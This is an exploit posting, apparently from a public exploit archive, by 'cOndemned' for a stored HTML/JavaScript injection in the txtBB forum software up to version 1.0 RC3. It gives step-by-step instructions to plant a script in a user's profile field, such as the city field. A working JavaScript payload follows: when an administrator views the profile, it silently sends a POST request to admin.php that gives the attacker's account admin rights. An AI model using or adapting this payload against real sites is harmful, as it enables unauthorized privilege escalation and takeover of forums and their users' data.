txtBB versions 1.0 RC3 and below suffer from a HTML/Javascript injection vulnerability that allows for privilege escalation.
83be17128bca52eeeb3d407c98a098dcdc7d4a9f0391d6afc260ecee0531a606
<!--
txtBB <= 1.0 RC3 HTML/JS Injection - Add Admin Privileges Exploit
By cOndemned
Greetz:
ZaBeaTy, sid.psycho, Alfons Luja, vCore, irk4z & str0ke ;)
Exploitation:
1. Create an account
2. Go to http://[host]/[txtbb10RC3_path]/index.php?type=account
3. Put exploit code into one of the fields ex. "Miasto" ([code] + City name)
4. When admin enters U'r account - pwn3d - Your user will get admin rights
Exploit Source :
-->
<script>
var req = new XMLHttpRequest();
req.open('POST', 'admin.php?action=users&type=edit&login=USER_NICK&save=1', false);
req.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
req.send('signature=&avatar=&type=3&password=&submit=Zapisz');
</script>